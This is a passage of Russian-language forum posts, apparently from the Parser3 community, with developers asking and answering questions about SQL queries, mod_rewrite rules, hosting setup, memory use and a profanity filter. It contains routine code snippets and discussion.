из большого XML выкусывать только активную страницу, запихивать туда _всё_ меню, с пометкой пункта активной страницы... а дальше пусть работает XSLT."
"39968","http://www.knoda.org/"
"39971","ну.. тысячи страниц - это уже 100% БД.\
Я говорю о сайтах до 100 максимум.\
\
Но выкусывание, сродни select'а из SQL базы.. как мне кажется?"
"39975","Есть ли возможность убрать из ХТМЛ все теги исключая, например, b,i,a,img и т.д.? Грубо говоря, чтоб не было тегов скриптов и CSS. Или убрать из ХТМЛ все теги за исключением b,i,a,img и т.д. Главное, чтоб при виде, например, такой строки /\"///\" или /'///' в скрипте, алгоритм не ломал общий вид. Ну я надеюсь в общем понятно....\
\
Заранее благодарю!"
"39976","Подскажите, пожалуйста, как избежать того, что все файлы обрабатываются парсером? Я хочу, чтобы целая папка не обрабатывалась. Как этого добиться?\
Спасибо."
"39977","http://www.parser.ru/forum/?terms=removehandler&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8"
"39979","Если не трудно, подскажите пожалуйста, где о ней узнать????"
"39981","Понятно. Я думал есть что-то проще."
"39982","Хотел попровать парсер, ого-го бинарник с поддержкой XML весит\
1.77 Mb - это что для каждого юзверя на скрипт \"Hello world\" будет столько памяти отжираться? \
Т.е. на каких-то 100 юзверей 177 Mb ?  не много-вато? Даже ^cache не поможет, т.к. все равно сначало бинарник загрузится.\
\
Интерпритатор Perl - весит 13Kb"
"39985","пытаюсь выполнить из парсера скрипт на пхп, не выполняется, возвращает статус 248. скрипт имеет права 755, кривых символов в нем нет. помогите плиз разобраться"
"39987","пробовал скопировать файл отдельно, переименовать и запустить с консоли натраивив на файл скрипта. Работает. Так что без библиотек не знаю где 800 набралось"
"39990","Ну, тут немного не то. Просто примеры работы. Грубо говоря, я использую WYSIWYG редактор, нужно сделать защиту от дурака и защиту от использования скриптов, чтоб нельзя было, например, к ссылке прилепить переход с добавлением кук и всего остального. А правильнее, сделать полное исключение тегов не имеющих функции форматирования."
"39993","Есть база данных с таблицей вида:\
ID  Refer\
1  0\
2  0\
3  1\
4  3\
5  4\
где поле Refer — ссылка на другой эл-т. т.е. 5->4->3->1.\
При попытке с помощью while  сделать поиск вида\
[code]\
$leaf[^table::sql{select * from tbl where Refer=$id}]\
^while($leaf)\
  ^leaf.menu{\
    $leaf.name\
  }\
$leaf[^table::sql{select * from tbl where Refer=$leaf.id}]\
}\
[/code]\
выдает endless loop.\
Может это можно сделать неким другим образом?"
"39994","А где фигурная скобка после ^while($leaf) ?"
"39996","Есть 3 таблицы MySQL, в каждой таблице есть столбец c_id.\
\
^if($form:search_type==1){$search_type[AND]}{$search_type[OR]}\
\
$spec[^table::sql{SELECT spec_prod.c_id, spec_prod_s.c_id, spec_spice.c_id  FROM spec_prod, spec_prod_s, spec_spice WHERE spec_prod.prod='$form:prod' $search_type spec_prod_s.prod='$form:prod' $search_type spec_spice.spice='$form:spice'}]\
\
В данном случае $spec.c_id дает c_id из spec_prod, остальные теряются. Как объеденить три результата? (если не делать три запроса)"
"39997","Переименовать:\
\
SELECT spec_prod.c_id AS id1, spec_prod_s.c_id AS id2, spec_spice.c_id  AS id3\
будет\
| id1 | id2 | id3 |"
"39998","[code]\
^MAIN:db.sql[void]{CREATE TABLE temp (\
			dt varchar( 255 ) NOT NULL default '',\
			user_uid varchar( 255 ) NOT NULL default ''\
		) TYPE = MYISAM}\
\
	^MAIN:db.sql[void]{INSERT INTO temp  \
		SELECT ^mysql:ymd[`date`] AS dt,user_uid \
		FROM sch  \
		GROUP BY dt, user_uid \
		ORDER BY dt}\
\
	$h[^MAIN:db.sql[hash]{SELECT dt,COUNT(dt) AS c \
		FROM temp \
		GROUP BY dt \
		ORDER BY dt\
	}]\
	^MAIN:db.sql[void]{DROP TABLE temp}\
[/code]\
\
1 - парсер не дает сразу несколько запросов выполнить (например так\
[code]CREATE TABLE temp (\
			dt varchar( 255 ) NOT NULL default '',\
			user_uid varchar( 255 ) NOT NULL default ''\
		) TYPE = MYISAM;\
DROP TABLE temp\
[/code]\
2 - я все никак не могу найти, можно ли у MySQL делать что-то вроде\
SELECT *\
FROM\
 {SELECT *\
  FROM table\
  WHERE ...\
 }\
...\
Неужели нужно писать такую громадину чтобы отобрать строки из уже отобранных строк???"
"39999","Спасибо. Вы разделили переменные, а как их соединить в одну?\
Т.е. мне нужна конструкция вроде \
$query[WHERE ^spec.menu{id='$spec.c_id'}[ OR ]]"
"40000","А что вы хотите получить на выходе?"
"40001","На выходе должен получиться список c_id из 3 таблиц, которые подходят условиям. Далее из этого списка формируется переменная вида $query[WHERE ^spec.menu{id='$spec.c_id'}[ OR ]], которая затем вставляется в другой запрос в качестве условия отбора."
"40002","[code]\
^method[5]\
\
@method[id][leaf]\
^if(def $id && ^id.int(0) != 0){\
	$leaf[^hash::sql{SELECT id,refer,name FROM tbl WHERE refer = $id}]\
	$leaf.name ($leaf.id | $leaf.refer)<br>\
	^method[$leaf.refer]\
}\
[/code]"
"40003","так напиши\
[code]$query[WHERE ^spec.menu{id='$spec.id1' OR id='$spec.id2'  OR id='$spec.id3'}[ OR ]][/code]"
"40005","Спасибо! Хороший вариант.\
Я еще немного по-другому придумал\
[code]\
$spec[^table::sql{SELECT DISTINCT c_id FROM spec_prod WHERE spec_prod.prod='$form:prod' UNION SELECT DISTINCT c_id FROM spec_prod_s WHERE spec_prod_s.prod='$form:prod' UNION SELECT DISTINCT c_id FROM spec_spice WHERE spec_spice.spice='$form:spice'}]\
$query[WHERE ^spec.menu{id='$spec.c_id'}[ OR ]]\
[/code]\
\
Один плюс такой конструкции - операция UNION подразумевает DISTINCT, т.е. при таком подходе id не будут повторяться вообще.\
\
Спасибо за помощь."
"40007","Зачем создавать временную таблицу в базе данных, если она тут же будет уничтожена?"
"40009","Один вопрос, если один из запросов не вернет результата, например \
WHERE spec_prod_s.prod='$form:prod', а $form:prod - не определена,\
то не будет ошибок?\
Сейчас проверяю, вроде бы нет, но... кто его знает..."
"40010","По 2 вопросу - можно использовать UNION"
"40011","Помогите!\
Как разместить созданное на парсере в каком нибудь сайте\
к примеру на народе, нм, h1... на бесплатных, что для этого надо и вообще как размещать и что для этого надо."
"40012","Между подзапросами могут быть логические операции OR или AND и условия WHERE?"
"40015","Но как это сделать наиболее оптимально я еще не придумал."
"40017","Возникла необходимость средствами XSLT обрабатывать текст вида:\
[code]word word word word word word word word \
<cut text=\"читать дальше\"/>\
word word word word word word word word word word \
word word word word word word word word word word \
[/code]\
и\
[code]word word word word word word word word \
<cut text=\"читать дальше\">\
word word word word word word word word word word \
</cut>\
word word word word word word word word word word \
[/code]\
\
В общем-то проблема только с тем как обрезать одиночный <cut/>.\
Не могу сообразить, как это сделать."
"40018","В общем суть идеи — форум.\
Т.е. корневые сообщения имейт Refer = 0, а все остальные — в поле Refer хранят ID сообщения на которое они овечают.\
А я все никак не врблюсь, как развернуть это дерево без ^while(){}"
"40020","Как грамотно выложить парсер на сервер Апаче и какие для этого надо создать там директории и куда какие файлы закачивать?"
"40024","вообще отожрет больше чем 1.77 на запрос :)"
"40025","На fatal.ru поддерживаются свои cgi скрипты. И Parser там можно установить. Правда, придется внести изменения в конфигурационный метод."
"40026","Разве этот код вернет не тот же результат что и ваш?..\
\
[code]\
$h[^MAIN:db.sql[hash]{\
	SELECT\
		^mysql:ymd[`date`] AS dt,\
		count(dt) AS c\
	FROM\
		sch\
	GROUP BY\
		dt, user_uid\
	ORDER BY\
		dt\
}]\
[/code]"
"40027","[url=\"http://www.parser.ru/forum/?id=36275\"]Хранение древовидных структур в SQL Server — подход БЕЗ рекурсии[/url], Sanja v.2"
"40031","Фига се... а нафига такой прожорливый интерпритатор для \"по сути\" не мощных задач. Я понимаю компромис либо возможности, либо скорость. А тут..."
"40032","Покрайней мере поломать так как это было в последний раз в PHPBB практически не возможно."
"40033","...есть удивительная ссылка :)\
\
http://dev.mysql.com/doc/mysql/ru/"
"40035","Есть простенький метод, кому нужен - пользуйтесь. Много чего не умеет, но для поверхностной чистки от нецензурной лексики вполне сгодится.\
\
[url=\"http://www.spearance.ru/parser3/antimat/\"]Рабочий пример с описанием.[/url]"
"40037","Не один десяток сайтов одной только Студии работает на Парсере и никто не жалуется :-)\
\
А чем же Парсер так хорош, что мы все его используем, кратко сказано во Введении документации и в [url=\"http://www.parser.ru/faq/general/\"]FAQ/General[/url]."
"40038","застрахуем бляху и икебану, а потом ребут, чтобы греблось хулигану"
"40039","прикольная вещь.. :) Правда пропускает немного"
"40041","У нас есть клиент, фамилия которого состоит из двух нецензурных слов. \
Простая, такая фамилия: Бляхер :)\
\
Как-то новенькая офис-менеджер до слез не хотела верить, что над\
ней не издеваются. Сотрудники просили выписать на него какие-то документы..."
"40042","ребятки, если вы такие умные, то чего не можете ткнуть в конкретное место FAQ и документации, где написано что куда. Справедливости ради, следует заметить, что я парсер наладил на сервере, но есть некоторые моменты, которые явно не указаны в документах. В связи с чем, позвольте несколько усомниться в вашей компетенции. Тыкать на зеленый светофор и говорить \"Ехай!\" всегда легко. А если светофор со стрелкой?"
"40043","Если светофор со стрелкой — вероятно следует повернуть в направлении стрелки. Изложите пожалуйста суть проблемы, как вам сказали «вопросы по существу» (в разделе FAQ есть подраздел «[url=\"http://www.parser.ru/faq/forum/\"]Использование форума[/url]», кстати)"
"40044","Сталкнулся с такой проблемой: подключаю класс скроллера от Евгения Спиранского, все работает, но… В совокупности с ModRewrite получается мягко говоря не красиво:\
\
Вот мой .htaccess:\
[code]\
RewriteEngine	on\
RewriteOptions	inherit\
RewriteCond	%{REQUEST_URI}		!/_\
RewriteCond	%{REQUEST_URI}		!/admin\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?page_uri=$1	[QSA,L]\
[/code]\
\
Подключаю скролеер:\
\
[code]\
$scroller[^scroller::create[\
	$.path_param[page]\
	$.table_count[^int:sql{SELECT COUNT(id) FROM news}[$.default{0}]]\
	$.number_per_section[20]\
	$.section_per_page[5]\
	$.type[page]\
]]\
^scroller.draw[]\
[/code]\
\
Получаю ссылки вида:\
[code]\
<a href=\"?page_uri=news/&page=1\" ... >2</a>\
[/code]"
"40045","Нашел решение :)\
\
[code]\
^if(def $params.request){\
	$path[?^params.request.foreach[field;value]{^if($field ne $path_param[b] && $field ne 'page_uri'[/b]){$field=^taint[uri][$value]&}}$path_param=]\
}{\
	$path[?^form:fields.foreach[field;value]{^if($field ne $path_param[b] && $field ne 'page_uri'[/b]){$field=^taint[uri][$value]&}}$path_param=]\
}\
[/code]"
"40046","Wonder, проблема была в том, что выскакивала 500 ошибка. тех поддержка сервера сказала, что битый дистрибутив Redhat, несмотря на то, что был загружен с данного сайта. права доступа на обработчик скриптов столи 755, т.е. норма. у меня возникли подозрения, что ошибка не у меня, а них, вероятно, что то где напутано в путях. итогом явилась тем не менее грамотная работа Парсера. что то было исправлено тех поддержкой. мне же сказали, что все вопросы необходимо напправлять к разработчиками парсера. мне кажется они эээ... мягко сказать, говорят неправду. сдается, что просто из сервак был не готов к парсеру по умолчанию.\
\
если есть какие либо соображения (любые) по этому поводу, welcome..."
"40047","Мне кажется, было бы хорошо сделать на форуме поиск пользователей по городу, краю или региону...\
Как Ваше мнение?"
"40049","Вот то, что нашел исходя из поискового запроса «500»:\
\
http://www.parser.ru/forum/?id=39904\
http://www.parser.ru/forum/?id=36468\
\
Может быть поможет?.."
"40050","[b]Intro:[/b]\
Учитался Егорова уже голова кругом :)\
\
[b]Цель:[/b]\
Нужно чтобы происходила такая трансформация:\
[code]\
# запрашиваемая страница:\
http://www.site.ru/news/2005/05/05/\
# после обработки выражением:\
http://www.site.ru/index.html?page_url=news&year=2005&month=05&day=&05\
[/code]\
\
[b]Вот что у меня родилось, мутан-амеба. Не работает:[/b]\
[code]\
RewriteRule\
^(.*)/([0-9]{4}/)?([0-9]{1-2}/)?([0-9]{1-2})?(.*)$\
/index.html?page_url=$1&year=$2&month=$3&day=$4\
[R]\
# (для удобочитаемости /t замнил на /n ;) )\
[/code]\
\
Еще нужно делать проверку... Так как может быть указан только год и месяц к примеру (.../2005/05/) или вообще только год.\
\
Помогите пожалуйста :)"
"40051","Далеко не все указывают город. А по региону тем более как искать?.. Ввести дополнительное поле при регистрации?"
"40052","должно работать: \
[code]\
^([^^\\/]+)\\/([0-9]{4})\\/([0-9]{2})\\/([0-9]{2})$\
[/code]"
"40053","RewriteRule ^([a-zA-Z]*)/?([0-9]{4})/?([0-9]{2})/?([0-9]{2})/?$ /index.html?page_url=$1&year=$2&month=$3&day=$4 [NC]"
"40055","RewriteRule ^([a-zA-Z]*)/?([0-9]*)/?([0-9]*)/?([0-9]*)/?$ /index.html?page_url=$1&year=$2&month=$3&day=$4 [NC]\
Ну здесь пользователь может набрать что-то /news/203/1/2374575765/\
и modrewrite это пропустит, нужно обработать ошибки уже парсером."
"40056","Да согласен с taint`измы неплохи.... многое удобно, но отжирать как говорит Егорофф, больше чем 1.7Mb за присест - это WOW - это без учета что например MySQL тоже кушать захочет. У меня просто работа с буржуйскими сайтами, а там прокачка в 100.000 - 600.000 юзверей - это не феномен, а бытовуха. Дак вот на Перле такие объемы реально на виртуал - хостинге прокачиваются. Вот боюсь парсер ставить - поди убью сервак."
"40058","По ПАФу\
Лучше разршить, что можно - остальное нельзя :)"
"40059","Народ. Parser стал изучать сравнительно, недавно. До этого ни в чем таком замечен не был. Мой будущий шеф дал мне задание сделать колонку новостей. Но сейчас у него аврал на работе, и он недоступен. Подскажите, пожалуйста, в каком направлении мне изучать тонкости механизма работы Парсера. Что бы такое сделать?\
\
\
С уважением, Rezook\
\
P.S. Извините, что трэд не по самому Парсеру, просто не к кому больше обратиться"
"40060","И вроде проблем не вызывает. Насчет Перла уже говорили, что Вы глубоко заблуждаетесь насчет размера его бинарников."
"40063","Да нет, колонку новостей я сделал, дальше то что мне следует делать?"
"40065","Я например так антиматы как правило обманываю используя латинские y,a,e,x :))))"
"40066","это никакой safe mode в случае модуля сервера... было бы аналогично PHP - стоял бы он на хостингах шире гораздо имхо..."
"40069","Ставил Parser на fatal.ru. Установился без особых проблем, но почему-то не работали use[] и @USE (выбрасывалось Unhandled Exception). После довольно долгого разбирательства выяснилось, что Parser почему-то добавляет /www в этих методах к указанному в переданном параметре пути. Ряд аккаунтов на fatal.ru имеет физический путь к корню в форме:\
\
/www2/m/my/mysite.fatal.ru/site\
\
т.е. в представлении Parser'a получается путь в форме:\
\
/www/www2/m/my/mysite.fatal.ru/site, что, конечно, неправильно.\
\
Выход - в правильном описании $CLASS_PATH в конфигурационном методе:\
\
$CLASS_PATH[/../www2/m/my/mysite.fatal.ru/site]\
\
В остальном, Parser там установился без особых проблем.\
\
Пишу, потому что посыпались вопросы на мыло, относительно установки Parser'а на fatal.ru. А попутно: может, кто-нибудь объяснит, зачем Parser добавляет /www к пути?"
"40072","Тот же результат, что и после выражения, предложенного Dmitriy*\
http://www.parser.ru/forum/?id=40071"
"40073","В данном случае придется предварительно обрабатывать полученную переменную $form:request, разбивать ее в переменные. Я хочу использовать для этого ModRewrite, чтобы парсером делать только проверку на существование переменных $form:year и т.д."
"40075","1. проверял парсером\
2. на дату моего сообщения посмотрите повнимательнее"
"40076","На счет даты сообщения соображал секунд семь наверное :)\
\
Хотя в переменную попадает тоже самое: news/2005/05/06/, т.е. не разбивается... :(\
\
Спасибо, видимо придется все таки Парсером разбирать :("
"40077","из-за этого и не работает..."
"40080","Для поверхностной чистки этого вполне достаточно. Я к примеру использую его для проверки SMS перед отправкой.\
\
Отсутствие этого скрипта было краеугольным камнем в решении разрешительных вопросов с сотовыми операторами."
"40081","У меня скрипт на парсере обрабатывает 404 ошибку, туда попадают и запросы с query_string, которые я вытаскиваю через $request:uri (так как form в этом случае пустой)\
все хорошо пока не появились параметры с русскими запросами. у меня все хранится в utf-8, в результате в $request:uri у меня типа %d0%ba%d0%be%d1%81%d1%82%d1%80%d0%be%d0%bc%d0%b0\
но мне надо строку в utf-8. поигрался с untaint - taint не помогло\
куда копать?"
"40082","То что какой-либо скрипт вряд ли в ближайшем будущем сможет полностью фильтровать русский мат - это понятно. Но здесь поверхностная резка делает слишком глубокие порезы. Ведь смысл примера в том, что в нем нет ни одного мата, а он почти полностью вырезается.\
\
ИМХО надо сделать возможность для каждого слова в таблице задавать набор исключений."
"40084","по вашему первому примеру я слова поправил, теперь всё чики-чики проверяется. \
А вот фамилия господина Бляхера на звёздочки не меняется - следовательно не мат. :)"
"40085","Предлагался вариант с таблицей замен кажется... Поищите, проблема уже обсуждалась."
"40087","х.з. я вывожу $request:uri - не пустой\
и $form:q (или делаю цикл по $form:fields) - пустой\
я предположил что пустой по причине того что в .htaccess вызывается как \
ErrorHandler 404 /error.html\
т.е. без параметров, а uri сохраняется от первоначального запроса... это наверное особенность обработки 404 ошибки."
"40089","Столкнулся с такой проблеммой...\
нежданно не гаданно моя админка упала с ошибкой что память кончилась :(\
[code]GC Warning: Out of Memory!  Returning NIL![/code]\
с помощью ^musage нашел узкое место\
\
есть метод:\
[code]\
##### @move_folder[] ###################################\
# метод перемещает содержимое каталога $from в каталог $to\
# рекурсивно обрабатывает все вложенные каталоги\
@move_folder[from;to][from;to;subfrom;subto;ls]\
^musage[внутри move_folder в начале]\
^if(-d \"$from\"){\
	$ls[^file:list[$from]]\
	^ls.menu{\
		^if(-d \"${from}${ls.name}\"){\
			$subfrom[${from}${ls.name}/]\
			$subto[${to}${ls.name}/]\
#			^memory:compact[]\
			^move_folder[$subfrom;$subto]\
		}\
		^if(-f \"${from}${ls.name}\"){\
			^file:move[${from}${ls.name};${to}${ls.name}]\
		}\
	}\
}\
# end of @move_folder[]\
[/code]\
Сначала у меня переменная $ls не была локальной, и памяти не хватало(64 MB на процес), этот касяк исправил теперь ошибки пока нет. Но! это не решает проблему в будущем, ведь если страниц увеличится? крышка!\
метод отжирает много памяти, чем больше вложенных каталогов и файлов тем больше\
В одном моём сайте страниц(=каталогов) очень много около 1000 страниц. Памяти перестало хватать!\
\
Еще пробовал воткнуть ^memory:compact[] вылетает ошибка: malformed header from script. Bad header=Duplicate large block dealloca: /site.ru/cgi-bin/parser3.cgi\
\
вот например отрывок из лога musage.log\
[code]\
[2005-05-06 14:16:41] xxx.xxx.xxx.xxx: внутри move_folder в начале 5456 996 11392.4 11392.4 /page_from_site.html \
[2005-05-06 14:16:41] xxx.xxx.xxx.xxx: внутри move_folder в начале 5464 988 11401.3 11401.3 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5692 760 11641.8 11641.8 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5708 744 11653.4 11653.4 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5728 724 11674.3 11674.3 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5776 676 11727.2 11727.2 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5808 644 11756.4 11756.4 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5896 556 11854.5 11854.5 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5904 548 11860.9 11860.9 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5928 524 11877.8 11877.8 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5944 508 11890.2 11890.2 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5952 500 11902.4 11902.4 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5960 492 11914.9 11914.9 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5972 480 11928.4 11928.4 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 5984 468 11934.8 11934.8 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6000 452 11947.2 11947.2 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6008 444 11959.5 11959.5 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6016 436 11971.7 11971.7 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6040 412 11989.6 11989.6 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6048 404 12000.9 12000.9 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6704 1900 12675.2 12675.2 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6720 1884 12693.6 12693.6 /page_from_site.html \
[2005-05-06 14:16:42] xxx.xxx.xxx.xxx: внутри move_folder в начале 6724 1880 12699.8 12699.8 /page_from_site.html \
...................................\
тут еще около 1000 строчек для каждого подкаталога своя\
...................................\
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44460 7328 50584.6 50584.6 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44520 7268 50645.7 50645.7 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44524 7264 50652.1 50652.1 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44552 7236 50671.5 50671.5 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44552 7236 50677.9 50677.9 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44592 7196 50716.7 50716.7 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44748 7040 50867 50867 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44768 7020 50890.7 50890.7 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44840 6948 50968.4 50968.4 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 44852 6936 50979.2 50979.2 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 45036 6752 51171.4 51171.4 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 45220 6568 51365.4 51365.4 /page_from_site.html \
[2005-05-06 14:16:52] xxx.xxx.xxx.xxx: внутри move_folder в начале 45264 6524 51399.2 51399.2 /page_from_site.html \
[/code]\
\
У меня возникает вопрос что делать? как этого пожирания избежать?\
Подкиньте правильных мыслей!?\
\
P.S. пока сам дудумал лишь проверять в самом начале $from eq $to если одинаковые то ничего не делать."
"40090","Вот мой .htacces и разбор даты все равно не работает:\
\
[code]\
RewriteEngine	on\
RewriteOptions	inherit\
RewriteCond	%{REQUEST_URI}		!/_\
RewriteCond	%{REQUEST_URI}		!/admin\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$			/index.html?page_uri=$1	[QSA,L]\
RewriteRule	^(.*)/([0-9]{4})/([0-9]{2})/([0-9]{2})[/?]$		/index.html?page_url=$1&year=$2&month=$3&day=$4	[NC,R]\
[/code]"
"40092","в примерах пользовательских операторов есть метод dir_copy, используйте его вместе с методом, рекурсивно удаляющим директории из примеров Сперанса"
"40093","а выражение работает"
"40096","а было бы красиво - подставить данные в форму, что бы парсер обработал их как надо и забрать себе...\
\
а что делать делать в моем случае? такая же подяга возникает когда uri передатся по русски типа http://www.site.com/порусски\
(это встречается на вики)"
"40097","даже стыдно стало...\
кончно катит, но вот как то я в документации этот момент упустил"
"40099","Если вы используете Парсер с поддержкой XML, можете попробовать функцию ^unescape[], найти её можно по адресу http://www.parser.ru/forum/?id=38697. \
Там написано что она работает как аналогичная функция в IE, но это не совсем так, как видно из примера она всего лишь декодирует urlencoded-данные в UTF-8, не более того. Хотя, может и ещё чего умеет, я с ней особо не разбирался.\
\
В отличии от замены-по-таблице у этой функции гораздо больший диапазон декодируемых символов, т.е. раскодировать с ней можно всё что угодно, следовательно использовать ее нужно крайне осторожно, особенно если данные получены извне, а результат выводится на странице (XSS), либо прямо или косвенно попадает в ^process{} (code injection). Вобщем, фильтруем всё что фильтруется, остальное пачкаем... ;)"
"40102","работает"
"40104","http://klamas.net.ru\
и http://Parser3.klamas.net.ru/cgi-bin/parser3.cgi там работает :-)"
"40105","тут это не подходит, ибо слов не матных в великом и могучем больше (горАздо), чем матных... ;)"
"40106","Вот как один из вариантов антимата полностью сделан на регулярных выражениях :) правда пока без исходников. \
Но полностью совместим с типографом (Misha v.3) \
\
http://ipo-design.ru/developments/antimat.prs\
\
Все относительно в этом мире."
"40107","Столкнулся с проблемой, что при загрузке файла, Парсер не понимает имени поля \"file\" Мне же нужно при загрузке узнать расширени и сохранить файл под другим именем"
"40110","Решил обновить парсер. Хостера не менял, просто обновил файлы.\
Сделал все как всегда\
в cgi-bin parser3.cgi c chmod 755 в .htaccess\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
В итоге получаю ошибку 500 а в общем лог файле злосчастный \
\
Premature end of script headers: /home/mindwork/public_html/cgi-bin/parser3.cgi\
\
Что в версии 3.1.4 что то изменилось ?"
"40111","Можно ли и как получить из nameless таблицы hash?\
\
[code]\
$tab[^table::create[nameless]{1	2as\
2	3as}]\
\
$thash[^tab.hash[0]]\
\
^thash.foreach[k;v]{\
	$k = $v\
}[<br />]\
[/code]\
\
Не выводит ничего :("
"40112","[code]\
$thash[^hash::create[^tab.menu{$.[$tab.0][$tab.1]}]]\
[/code]"
"40113","Может классика: в text-mode закачали? Сравните размер исходного и закачанного скрипта."
"40114","Я запутался, такой код:\
\
[code]\
SELECT DISTINCT spec_prod.c_id AS c_id1, spec_prod_s.c_id AS c_id2, spec_spice.c_id AS c_id3 FROM spec_prod, spec_prod_s, spec_spice WHERE spec_prod.prod='38' AND spec_spice.spice='1' OR spec_prod_s.prod='38' AND spec_spice.spice='1'\
[/code]\
\
дает значения без учета операторов AND и OR, хотя в примерах в документации они используются.\
Т.е. находятся все значения имееющие в первой таблице 38 или во второй 1, а не 38 в первой и 1 во второй."
"40115","+ вы забыли связать таблицы друг с другом, imho."
"40116","Я сначала в документации насчет связи таблиц не понял..."
"40117","Вот здесь (http://dklab.ru/chicken/nablas/41.html) размещена статья Дмитрия Котерова о сабже с использованием библиотеки JSHttpRequest. Это нечто вроде сервиса Google Suggest и, ИМХО,довольно удачно и перспективно.\
Библиотека JSHttpRequest состоит из двух частей: на javascript и php. Вопрос такой: никто не делал попыток построить аналог второй части на parser'е?"
"40118","Хочу еще раз поблагодарить творцов, за [b]лучший \"движек\" для сайта[/b].\
С интернет-магазинами работает куда быстрее чем PHP или Perl\
(может конечно алгоритмы у меня лучше).\
Просьба на будущее — не делайте наворотов.Этого вполне достаточно для разработки. Иначе будет уже не то.\
[i]dmx102[/i]\
Это мои работы(не считая Интранет приложений):\
[url=\"http://www.mvsholding.com/ru/shop/\"]MVS Holding[/url]\
[url=\"http://www.dasshoes.ru/\"]DasShoes.ru[/url](Он откроется 20 мая)"
"40119","^MAIN:<переменная> - обращение к глобальным переменным главного (основного) класса."
"40120","Не совсем понимаю:\
Вот в уроке написано насчет создания меню. Ну из сап файла Tab delimited-методом.\
Все понятно. Создается значит меню, но оно горизонтальное. Как мне сделать вертикальное меню???"
"40121","Очень просто...\
[code]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
#всего навсего надо перенести \
  ^sections.menu{\
   <tr>\
#^sections.menu{ - а было тут\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
#} - и тут\
   </tr>\
   }\
#ну и тут тоже поправить\
</table>\
[/code]"
"40122","Я сделал обмен данными через Microsoft.XMLHTTP + использование Databind MSIE. Imho, через javascript - это извращение. Со мной можно не соглашаться, я и не настаиваю на своем подходе. Однако в любом случае работа с XML-организацией данных мне кажется существенно удобней, т.к. не требуется дополнительно писать методы работы с данными - они есть и в парсере, и в броузере и в перспективе без существенных переделок серверных методов можно административную часть портировать на C#, например..."
"40123","Спасибо за помощь!"
"40124","Хорошо. С горизонтальным меню разобрался.\
Но мне нужно чтобы в этом горизонтальном меню были подзаголовки, которые не являлись бы ссылками.\
Ну типа.\
ОСНОВНЫЕ РАЗДЕЛЫ\
Главная\
Новости\
Карта сайта\
\
ФИРМА\
О нас\
Сотрудники\
\
И т.д.\
\
Как такое сделать?"
"40125","Сирри ! почемуто в голове засело что Misha. \
Поправляюсь :) Типографим от Eugene Spearance. \
Сктати исходный код на PARSER доступен на \
http://www.ipo-design.ru/developments/antimat.prs"
"40126","Сразу к делу :) \
жажду увидеть Хорошую Parser CMS:) Уже написал достаточно приличное ядро:\
- структура похожая на Мишин Engine\
- XML/XSLT\
- MySQL\
- поддержка нескольких сайтов \
- Кеширование страниц \
\
Многое не сделано, многое сделано, но не задействованно.\
\
Так вот, ищу людей, таки добравольцев, которым наверняка этот продукт пригодится в будующем, и которые в силах, вместе со мной, дописать и улучшить сие тварение... \
\
